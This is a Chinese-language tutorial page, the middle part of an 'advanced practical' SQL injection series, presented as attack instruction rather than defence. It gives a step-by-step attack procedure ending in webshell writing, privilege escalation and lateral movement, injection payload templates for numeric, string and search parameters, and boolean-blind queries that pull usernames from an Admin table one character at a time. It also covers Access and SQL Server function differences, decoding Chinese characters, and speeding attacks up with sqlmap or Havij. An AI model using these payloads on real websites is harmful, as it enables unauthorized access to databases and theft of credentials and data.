萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

SQL 注入進階實戰 (中):通用步驟、參數類型重構、常用函數對照與中文編碼處理

承接入門篇,本文系統闡述 SQL 注入攻擊的標準化作業流程 (SOP)、三類參數型態對應的 SQL 重構技巧、Access/SQL Server 關鍵函數對照表,以及中文 Unicode/雙位元編碼處理方法,為後續高階技術 (盲注、報錯注入、自動化工具) 鋪路。

一、SQL 注入標準作業流程 (SOP)

  1. 環境判斷與注入點發現: 單引號/雙引號/括號測試、錯誤回顯分析、時間延遲測試。
  2. 資料庫指紋識別: @@version、version()、系統表存在性 (msysobjects vs sysobjects) 區分 Access/SQL Server/Oracle/MySQL。
  3. 參數類型重構原始 SQL: 核心步驟,見下表。
  4. 布林盲注/聯合查詢猜解結構: 表名 → 欄位名 → 資料內容。
  5. 資料提取與後滲透: 讀取敏感表、寫入 Webshell、提權、橫向移動。

二、三大參數類型重構對照表

URL 範例參數型態原始 SQL 推測注入 Payload 結構生成 SQL 片段
id=49數值型SELECT * FROM table WHERE col = 4949 AND [條件]WHERE col = 49 AND [條件]
class=連續劇字串型SELECT * FROM table WHERE col = '連續劇'連續劇' AND [條件] AND ''='WHERE col = '連續劇' AND [條件] AND ''=''
keyword=關鍵字搜尋型 (LIKE)SELECT * FROM table WHERE col LIKE '%關鍵字%'' AND [條件] AND '%'='WHERE col LIKE '%' AND [條件] AND '%'='%'

核心邏輯: 透過註釋符號 (--, /* */, #) 截斷後續原始查詢,配合永真/永偽條件控制頁面回應差異 (布林盲注) 或聯合查詢回顯資料 (Union 注入)。

三、猜解表名/欄位名通用模板

-- 判斷表 Admin 是否存在 (數值型注入點範例)
id=49 AND (SELECT COUNT(*) FROM Admin) >= 0
-- 頁面與 id=49 相同 → 表存在;報錯/異常 → 不存在

-- 猜解欄位名
id=49 AND (SELECT COUNT(column_name) FROM Admin) >= 0
-- 依字典/常見命名 (username, password, email, id, role...) 逐一嘗試

進階技巧: SQL Server 可直接查詢系統目錄 (sysobjects, syscolumns, INFORMATION_SCHEMA.TABLES) 批量取得結構,無需盲猜 (詳見高階篇)。

四、ASCII 逐字解碼法 (最通用但最慢)

-- 1. 取得長度
id=49 AND (SELECT TOP 1 LEN(username) FROM Admin) > 7  -- 真/假二分法縮小範圍

-- 2. 逐字元提取 ASCII
id=49 AND (SELECT TOP 1 ASCII(SUBSTRING(username, 1, 1)) FROM Admin) > 97
-- 英數字 ASCII 32-126,折半法約 7 次請求定位單字元
-- 自動化腳本可將效率提升 100 倍以上

五、Access vs SQL Server 關鍵函數對照表

功能AccessSQL Server備註
字元 → ASCII/UnicodeAsc(char)Unicode(nchar)SQL Server 必須用 Unicode 函數,Ascii() 僅回傳第一位元組
ASCII/Unicode → 字元Chr(num)NChar(num)
子字串擷取Mid(str, start, len)Substring(str, start, len)起始位置皆為 1-based
絕對值Abs(num)Abs(num)處理 Access 中文負數 ASCII 時需用
範圍判斷val BETWEEN lo AND hival BETWEEN lo AND hi語法相同

六、中文編碼處理實務

Access (Jet/ACE 引擎)

  • 中文字元 Asc() 可能回傳負數 (內部用雙位元帶符號整數儲存)。
  • 解法:Abs(Asc(中文字)) 取絕對值,字元本身不變,可正常比對/重建。

SQL Server (Unicode 原生)

  • 資料型別 nvarchar/nchar 為 UTF-16 儲存,每字 2 位元組。
  • 禁用 ASCII():僅回傳第一位元組 (高位元組),導致中文全變成同一數值。
  • 必須用 UNICODE() 取得完整碼位 (如 '中' → 20013)。
  • 重建字元用 NCHAR(碼位)。
  • 猜解範圍:常用漢字約 19968-40869 (CJK 統一表意文字基本區),配合折半法效率可接受。

七、實戰效率提升建議

  1. 編寫/使用自動化工具 (sqlmap, Havij, 自製 Python/PowerShell 腳本) 替代手工。
  2. 優先嘗試 Union 查詢注入 (有回顯) 或 報錯注入 (利用 CONVERT, CAST 強制轉型報錯回顯資料),較盲注快數量級。
  3. 建立目標應用專屬字典 (表名、欄位名、頁面參數) 減少盲猜空間。
  4. 記錄每次請求/回應特徵,建立「正常/異常」指紋庫,提高自動化判斷準確率。

下篇預告: 高階篇將涵蓋 SQL Server 系統目錄查詢、報錯注入構造、時間盲注優化、二次注入、WAF 繞過技巧、自動化框架整合與實戰案例完整複盤。

copyright © 萬盛學電腦網 all rights reserved